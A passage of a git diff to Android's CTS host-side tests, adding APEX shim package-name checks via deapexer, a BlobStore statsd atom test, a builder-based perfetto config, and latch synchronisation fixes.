         final String updatable = getDevice().getProperty("ro.apex.updatable");
         assumeThat("Device doesn't support updating APEX", updatable, CoreMatchers.equalTo("true"));
         cleanUp();
+        mDeapexerZip = getTestInformation().getDependencyFile(DEAPEXER_ZIP_FILE_NAME, false);
+        mAllApexesZip = getTestInformation().getDependencyFile(STAGED_INSTALL_TEST_FILE_NAME,
+                false);
     }
 
     @After
@@ -105,6 +135,37 @@
                 .that(shimPackages).containsExactlyElementsIn(ALLOWED_SHIM_PACKAGE_NAMES);
     }
 
+    /**
+     * Deapexing all the apexes bundled in the staged install test. Verifies the package name of
+     * shim apk in the apex.
+     */
+    @Test
+    public void testPackageNameOfShimApkInAllBundledApexesIsAllowed() throws Exception {
+        mDeapexingDir = FileUtil.createTempDir(DEAPEXING_FOLDER_NAME);
+        final File deapexer = extractDeapexer(mDeapexingDir);
+        final File debugfs = new File(mDeapexingDir, DEBUGFS_STATIC_FILE_NAME);
+        final List<File> apexes = extractApexes(mDeapexingDir);
+        for (File apex : apexes) {
+            final File outDir = new File(apex.getParent(), apex.getName().substring(
+                    0, apex.getName().length() - APEX_FILE_SUFFIX.length()));
+            try {
+                runDeapexerExtract(deapexer, debugfs, apex, outDir);
+                final List<File> apkFiles = FileUtil.findFiles(outDir, ".+\\.apk").stream()
+                        .map(str -> new File(str)).collect(Collectors.toList());
+                for (File apkFile : apkFiles) {
+                    final AaptParser parser = AaptParser.parse(apkFile);
+                    assertWithMessage("Apk " + apkFile + " in apex " + apex + " is not valid")
+                            .that(parser).isNotNull();
+                    assertWithMessage("Apk " + apkFile + " in apex " + apex
+                            + " has incorrect package name " + parser.getPackageName())
+                            .that(ALLOWED_SHIM_PACKAGE_NAMES).contains(parser.getPackageName());
+                }
+            } finally {
+                FileUtil.recursiveDelete(outDir);
+            }
+        }
+    }
+
     @Test
     @LargeTest
     public void testRejectsApexWithAdditionalFile() throws Exception {
@@ -144,4 +205,81 @@
         getDevice().reboot();
         runPhase("testInstallRejected_VerifyPostReboot");
     }
+
+    /**
+     * Extracts {@link #DEAPEXER_ZIP_FILE_NAME} into the destination folder. Updates executable
+     * attribute for the binaries of deapexer and debugfs_static.
+     *
+     * @param destDir A tmp folder for the deapexing.
+     * @return the deapexer file.
+     */
+    private File extractDeapexer(File destDir) throws IOException {
+        ZipUtil.extractZip(new ZipFile(mDeapexerZip), destDir);
+        final File deapexer = FileUtil.findFile(destDir, DEAPEXER_FILE_NAME);
+        assertWithMessage("Can't find " + DEAPEXER_FILE_NAME + " binary file")
+                .that(deapexer).isNotNull();
+        deapexer.setExecutable(true);
+        final File debugfs = FileUtil.findFile(destDir, DEBUGFS_STATIC_FILE_NAME);
+        assertWithMessage("Can't find " + DEBUGFS_STATIC_FILE_NAME + " binary file")
+                .that(debugfs).isNotNull();
+        debugfs.setExecutable(true);
+        return deapexer;
+    }
+
+    /**
+     * Extracts all bundled apex files from {@link #STAGED_INSTALL_TEST_FILE_NAME} into the
+     * destination folder.
+     *
+     * @param destDir A tmp folder for the deapexing.
+     * @return A list of apex files.
+     */
+    private List<File> extractApexes(File destDir) throws IOException {
+        final List<File> apexes = new ArrayList<>();
+        final ZipFile apexZip = new ZipFile(mAllApexesZip);
+        final Enumeration<? extends ZipEntry> entries = apexZip.entries();
+        while (entries.hasMoreElements()) {
+            final ZipEntry entry = entries.nextElement();
+            if (entry.isDirectory() || !entry.getName().matches(
+                    SHIM_APEX_PACKAGE_NAME + ".*\\" + APEX_FILE_SUFFIX)) {
+                continue;
+            }
+            final File apex = new File(destDir, entry.getName());
+            apex.getParentFile().mkdirs();
+            FileUtil.writeToFile(apexZip.getInputStream(entry), apex);
+            apexes.add(apex);
+        }
+        assertWithMessage("No apex file in the " + mAllApexesZip)
+                .that(apexes).isNotEmpty();
+        return apexes;
+    }
+
+    /**
+     * Extracts all contents of the apex file into the {@code outDir} using the deapexer.
+     *
+     * @param deapexer The deapexer file.
+     * @param debugfs The debugfs file.
+     * @param apex The apex file to be extracted.
+     * @param outDir The out folder.
+     */
+    private void runDeapexerExtract(File deapexer, File debugfs, File apex, File outDir) {
+        final RunUtil runUtil = new RunUtil();
+        final String os = System.getProperty("os.name").toLowerCase();
+        final boolean isMacOs = (os.startsWith("mac") || os.startsWith("darwin"));
+        if (isMacOs) {
+            runUtil.setEnvVariable("DYLD_LIBRARY_PATH", mDeapexingDir.getAbsolutePath());
+        } else {
+            runUtil.setEnvVariable("LD_LIBRARY_PATH", mDeapexingDir.getAbsolutePath());
+        }
+        final CommandResult result = runUtil.runTimedCmd(DEFAULT_RUN_TIMEOUT_MS,
+                deapexer.getAbsolutePath(),
+                "--debugfs_path",
+                debugfs.getAbsolutePath(),
+                "extract",
+                apex.getAbsolutePath(),
+                outDir.getAbsolutePath());
+        assertWithMessage("deapexer(" + apex + ") failed: " + result)
+                .that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
+        assertWithMessage("deapexer(" + apex + ") failed: no outDir created")
+                .that(outDir.exists()).isTrue();
+    }
 }
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 06bbed8..427dbcce 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -133,12 +133,19 @@
 
     @Test
     public void testStageAnotherSessionImmediatelyAfterAbandon() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
         runPhase("testStageAnotherSessionImmediatelyAfterAbandon");
     }
 
     @Test
+    public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+        runPhase("testStageAnotherSessionImmediatelyAfterAbandonMultiPackage");
+    }
+
+    @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
-        assumeTrue(isUpdatingApexSupported());
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
         runPhase("testNoSessionUpdatedBroadcastSentForStagedSessionAbandon");
     }
 
@@ -226,6 +233,7 @@
     }
 
     @Test
+    // Don't mark as @LargeTest since we want at least one test to install apex during pre-submit.
     public void testInstallStagedApexAndApk() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -520,6 +528,26 @@
         runPhase("testInstallMultipleStagedSession_PartialFail_ApkOnly_VerifyPostReboot");
     }
 
+    // Failure reason of staged install should be be persisted for single sessions
+    @Test
+    @LargeTest
+    public void testFailureReasonPersists_SingleSession() throws Exception {
+        assumeTrue(isCheckpointSupported());
+        runPhase("testFailureReasonPersists_SingleSession_Commit");
+        getDevice().reboot();
+        runPhase("testFailureReasonPersists_SingleSession_VerifyPostReboot");
+    }
+
+    // Failure reason of staged install should be be persisted for multi session staged install
+    @Test
+    @LargeTest
+    public void testFailureReasonPersists_MultiSession() throws Exception {
+        assumeTrue(isCheckpointSupported());
+        runPhase("testFailureReasonPersists_MultipleSession_Commit");
+        getDevice().reboot();
+        runPhase("testFailureReasonPersists_MultipleSession_VerifyPostReboot");
+    }
+
     @Test
     @LargeTest
     public void testSamegradeSystemApex() throws Exception {
@@ -531,6 +559,7 @@
     }
 
     @Test
+    @LargeTest
     public void testInstallApkChangingFingerprint() throws Exception {
         assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
 
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
index 59399ac..283d650 100644
--- a/hostsidetests/statsd/Android.bp
+++ b/hostsidetests/statsd/Android.bp
@@ -29,12 +29,13 @@
         "compatibility-host-util",
         "cts-tradefed",
         "host-libprotobuf-java-full",
+        "perfetto_config-full",
         "platformprotos",
         "tradefed",
-        "truth-prebuilt"
+        "truth-prebuilt",
     ],
     static_libs: [
-        "core_cts_test_resources"
+        "core_cts_test_resources",
     ],
     data: [
         "**/*.pbtxt",
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
index 4598f33..6e97754 100644
--- a/hostsidetests/statsd/AndroidTest.xml
+++ b/hostsidetests/statsd/AndroidTest.xml
@@ -26,4 +26,8 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="setprop persist.traced.enable 1" />
     </target_preparer>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
+    </object>
 </configuration>
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
index eabea94..a76c07e 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -45,6 +45,7 @@
         "androidx.legacy_legacy-support-v4",
         "androidx.test.rules",
         "cts-net-utils",
+        "BlobStoreTestUtils"
     ],
     jni_libs: ["liblmkhelper"],
     compile_multilib: "both",
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 62301dd..144e28e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -27,6 +27,7 @@
 import android.app.AlarmManager;
 import android.app.AppOpsManager;
 import android.app.PendingIntent;
+import android.app.blob.BlobStoreManager;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
 import android.bluetooth.BluetoothAdapter;
@@ -61,6 +62,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Looper;
+import android.os.ParcelFileDescriptor;
 import android.os.PowerManager;
 import android.os.Process;
 import android.os.SystemClock;
@@ -76,6 +78,9 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.utils.blob.DummyBlobData;
+
+import com.google.common.io.BaseEncoding;
 
 import org.junit.Test;
 
@@ -84,6 +89,7 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiConsumer;
@@ -194,6 +200,7 @@
         // Op 96 was deprecated/removed
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
     }
 
     @Test
@@ -429,7 +436,7 @@
         AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
 
         // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION, true);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
         sleep(500);
 
         // Foreground service session 1
@@ -437,17 +444,17 @@
         while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
             sleep(50);
         }
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA, true);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION, true);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA, true);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO, false);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO, true);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA, false);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
+        startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
         sleep(500);
         context.stopService(fgsIntent);
 
         // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION, true);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
         sleep(500);
 
         // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
@@ -469,24 +476,18 @@
             int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
             for (int j = 0; j < noteCount; j++) {
                 try {
-                    appOpsManager.noteOp(opsList[i], android.os.Process.myUid(), MY_PACKAGE_NAME,
-                            null, "statsdTest");
+                    noteAppOp(appOpsManager, opsList[i]);
                 } catch (SecurityException e) {}
             }
         }
     }
 
-    /** @param doNote true if should use noteOp; false if should use startOp. */
-    private void noteAppOp(AppOpsManager appOpsManager, String opStr, boolean doNote) {
-        if (doNote) {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(appOpsManager,
-                    (aom) -> aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null,
-                            "statsdTest"));
-        } else {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(appOpsManager,
-                    (aom) -> aom.startOp(opStr, android.os.Process.myUid(),
-                            MY_PACKAGE_NAME, null, "statsdTest"));
-        }
+    private void noteAppOp(AppOpsManager aom, String opStr) {
+        aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
+    }
+
+    private void startAppOp(AppOpsManager aom, String opStr) {
+        aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
     }
 
     /** Check if service is running. */
@@ -685,7 +686,7 @@
         long startTime = System.currentTimeMillis();
         CountDownLatch latch = StatsdJobService.resetCountDownLatch();
         js.schedule(job);
-        waitForReceiver(context, 2_500, latch, null);
+        waitForReceiver(context, 5_000, latch, null);
     }
 
     @Test
@@ -946,6 +947,42 @@
         context.stopService(intent);
     }
 
+
+    // Constants for testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+    @Test
+    public void testBlobStore() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
+
+        BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
+        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+        final DummyBlobData blobData = new DummyBlobData.Builder(context).setExpiryDurationMs(
+                BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
+
+        blobData.prepare();
+        try {
+            // Commit the Blob, should result in BLOB_COMMITTED atom event
+            commitBlob(context, bsm, blobData);
+
+            // Lease the Blob, should result in BLOB_LEASED atom event
+            bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+            // Open the Blob, should result in BLOB_OPENED atom event
+            bsm.openBlob(blobData.getBlobHandle());
+
+        } finally {
+            blobData.delete();
+        }
+    }
+
     // ------- Helper methods
 
     /** Puts the current thread to sleep. */
@@ -1002,4 +1039,19 @@
     private static void setScreenBrightness(int brightness) {
         runShellCommand("settings put system screen_brightness " + brightness);
     }
+
+
+    private void commitBlob(Context context, BlobStoreManager bsm, DummyBlobData blobData)
+            throws Exception {;
+        final long sessionId = bsm.createSession(blobData.getBlobHandle());
+        try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
+            blobData.writeToSession(session);
+            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+            final CompletableFuture<Integer> callback = new CompletableFuture<>();
+            session.commit(context.getMainExecutor(), callback::complete);
+            assertWithMessage("Session failed to commit within timeout").that(
+                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+        }
+    }
 }
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
index 329bdfa..d81040f 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
@@ -28,6 +28,8 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+import javax.annotation.concurrent.GuardedBy;
+
 /**
  * Handles callback from the framework {@link android.app.job.JobScheduler}.
  * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
@@ -38,6 +40,10 @@
 
   JobInfo mRunningJobInfo;
   JobParameters mRunningParams;
+
+  private static final Object sLock = new Object();
+
+  @GuardedBy("sLock")
   private static CountDownLatch sLatch;
 
   final Handler mHandler = new Handler();
@@ -47,24 +53,27 @@
         Thread.sleep(500);
       } catch (InterruptedException e) {
       }
+
       jobFinished(mRunningParams, false);
-      if (sLatch != null) {
-        sLatch.countDown();
+
+      synchronized (sLock) {
+        if (sLatch != null) {
+          sLatch.countDown();
+        }
       }
     }
   };
 
   public static synchronized CountDownLatch resetCountDownLatch() {
-    sLatch = new CountDownLatch(1);
+    synchronized (sLock) {
+      if (sLatch == null || sLatch.getCount() == 0) {
+        sLatch = new CountDownLatch(1);
+      }
+    }
     return sLatch;
   }
 
   @Override
-  public void onCreate() {
-    super.onCreate();
-  }
-
-  @Override
   public boolean onStartJob(JobParameters params) {
     mRunningParams = params;
     mHandler.post(mWorker);
@@ -75,4 +84,4 @@
   public boolean onStopJob(JobParameters params) {
     return false;
   }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
index 12f110b..6968307 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
@@ -58,7 +58,6 @@
         }
         synchronized (sLock) {
             Log.i(TAG, "onPerformSync");
-            sLock.notifyAll();
             if (sLatch != null) {
                 sLatch.countDown();
             } else {
@@ -79,8 +78,12 @@
         ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
     }
 
-    public static synchronized CountDownLatch resetCountDownLatch() {
-        sLatch = new CountDownLatch(1);
+    public static CountDownLatch resetCountDownLatch() {
+        synchronized (sLock) {
+            if (sLatch == null || sLatch.getCount() == 0) {
+                sLatch = new CountDownLatch(1);
+            }
+        }
         return sLatch;
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
index d40c590..032297e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
@@ -51,9 +51,6 @@
     }
 
     public void testAlarm() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig();
         turnScreenOn();
         uploadConfig(config);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index d88f941..d6c1107 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -92,9 +92,6 @@
     // Tests that anomaly detection for count works.
     // Also tests that anomaly detection works when spanning multiple buckets.
     public void testCountAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
                 .addCountMetric(CountMetric.newBuilder()
                         .setId(METRIC_ID)
@@ -141,9 +138,6 @@
     // Tests that anomaly detection for duration works.
     // Also tests that refractory periods in anomaly detection work.
     public void testDurationAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
         StatsdConfig.Builder config =
                 getBaseConfig(17, 17, 10_000_000_000L  /*threshold: > 10 seconds in nanoseconds*/)
@@ -205,9 +199,6 @@
 
     // Tests that anomaly detection for duration works even when the alarm fires too late.
     public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
         StatsdConfig.Builder config =
                 getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
@@ -253,9 +244,6 @@
 
     // Tests that anomaly detection for value works.
     public void testValueAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
                 .addValueMetric(ValueMetric.newBuilder()
                         .setId(METRIC_ID)
@@ -288,9 +276,6 @@
 
     // Test that anomaly detection integrates with perfetto properly.
     public void testPerfetto() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         String chars = getDevice().getProperty("ro.build.characteristics");
         if (chars.contains("watch")) {
                 return;
@@ -349,9 +334,6 @@
 
     // Tests that anomaly detection for gauge works.
     public void testGaugeAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
                 .addGaugeMetric(GaugeMetric.newBuilder()
                         .setId(METRIC_ID)
@@ -386,10 +368,6 @@
 
     // Test that anomaly detection for pulled metrics work.
     public void testPulledAnomalyDetection() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER;  // A pulled atom
         final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
         final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER;  // Something that will be > 0.
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index c6cd042..01cb9e6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -62,6 +62,10 @@
 import com.google.common.io.Files;
 import com.google.protobuf.ByteString;
 
+import perfetto.protos.PerfettoConfig.DataSourceConfig;
+import perfetto.protos.PerfettoConfig.FtraceConfig;
+import perfetto.protos.PerfettoConfig.TraceConfig;
+
 import java.io.File;
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
@@ -73,6 +77,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Queue;
+import java.util.Random;
 import java.util.Set;
 import java.util.function.Function;
 import java.util.regex.Matcher;
@@ -135,10 +140,6 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Uninstall to clear the history in case it's still on the device.
         removeConfig(CONFIG_ID);
         getReportList(); // Clears data.
@@ -181,15 +182,41 @@
     /**
      * Returns a protobuf-encoded perfetto config that enables the kernel
      * ftrace tracer with sched_switch for 10 seconds.
-     * See https://android.googlesource.com/platform/external/perfetto/+/master/docs/trace-config.md
-     * for details on how to generate this.
      */
     protected ByteString getPerfettoConfig() {
-        return ByteString.copyFrom(new byte[] { 0xa, 0x3, 0x8, (byte) 0x80, 0x1, 0x12, 0x23, 0xa,
-                        0x21, 0xa, 0xc, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x2e, 0x66, 0x74, 0x72, 0x61,
-                        0x63, 0x65, 0x10, 0x0, (byte) 0xa2, 0x6, 0xe, 0xa, 0xc, 0x73, 0x63, 0x68,
-                        0x65, 0x64, 0x5f, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x18, (byte) 0x90,
-                        0x4e, (byte) 0x98, 0x01, 0x01 });
+        TraceConfig.Builder builder = TraceConfig.newBuilder();
+
+        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
+            .newBuilder()
+            .setSizeKb(128)
+            .build();
+        builder.addBuffers(buffer);
+
+        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
+            .addFtraceEvents("sched/sched_switch")
+            .build();
+        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
+            .setName("linux.ftrace")
+            .setTargetBuffer(0)
+            .setFtraceConfig(ftraceConfig)
+            .build();
+        TraceConfig.DataSource dataSource = TraceConfig.DataSource
+            .newBuilder()
+            .setConfig(dataSourceConfig)
+            .build();
+        builder.addDataSources(dataSource);
+
+        builder.setDurationMs(10000);
+        builder.setAllowUserBuildTracing(true);
+
+        // To avoid being hit with guardrails firing in multiple test runs back
+        // to back, we set a unique session key for each config.
+        Random random = new Random();
+        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
+        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
+        builder.setUniqueSessionName(sessionNameBuilder.toString());
+
+        return builder.build().toByteString();
     }
 
     /**
@@ -205,22 +232,24 @@
 
     private String probe(String path) throws Exception {
         return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
-                + " cat " + path + " ; else echo 0 ; fi");
+                + " cat " + path + " ; else echo -1 ; fi");
     }
 
     /**
      * Determines whether perfetto enabled the kernel ftrace tracer.
      */
     protected boolean isSystemTracingEnabled() throws Exception {
-        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
         final String traceFsPath = "/sys/kernel/tracing/tracing_on";
-        String tracing_on = probe(debugFsPath);
+        String tracing_on = probe(traceFsPath);
         if (tracing_on.startsWith("0")) return false;
         if (tracing_on.startsWith("1")) return true;
-        // fallback to traceFs
-        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to traceFs", debugFsPath,
+
+        // fallback to debugfs
+        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
                 tracing_on);
-        tracing_on = probe(traceFsPath);
+
+        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
+        tracing_on = probe(debugFsPath);
         if (tracing_on.startsWith("0")) return false;
         if (tracing_on.startsWith("1")) return true;
         throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
@@ -239,7 +268,8 @@
           .addAllowedLogSource("AID_STATSD")
           .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
           .addDefaultPullPackages("AID_RADIO")
-          .addDefaultPullPackages("AID_SYSTEM");
+          .addDefaultPullPackages("AID_SYSTEM")
+          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
     }
 
     protected void createAndUploadConfig(int atomTag) throws Exception {
@@ -713,7 +743,7 @@
                 LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
                         + " in stateSetIndex " + stateSetIndex + ":\n"
                         + data.get(dataIndex).getAtom().toString());
-                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0); 
+                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
                 assertWithMessage("Too many states").that(stateSetIndex)
                     .isLessThan(stateSets.size());
                 assertWithMessage(String.format("Is in wrong state (%d)", state))
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index a074c959..0c9921e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -180,14 +180,4 @@
 
         return result;
     }
-
-    protected boolean statsdDisabled() throws DeviceNotAvailableException {
-        // if ro.statsd.enable doesn't exist, statsd is running by default.
-        if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
-                && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
-            CLog.d("Statsd is not enabled on the device");
-            return true;
-        }
-        return false;
-    }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 7c83515..d7f8df1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -82,9 +82,6 @@
     }
 
     public void testScreenStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Setup, make sure the screen is off and turn off AoD if it is on.
         // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
         // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
@@ -131,9 +128,6 @@
     }
 
     public void testChargingStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
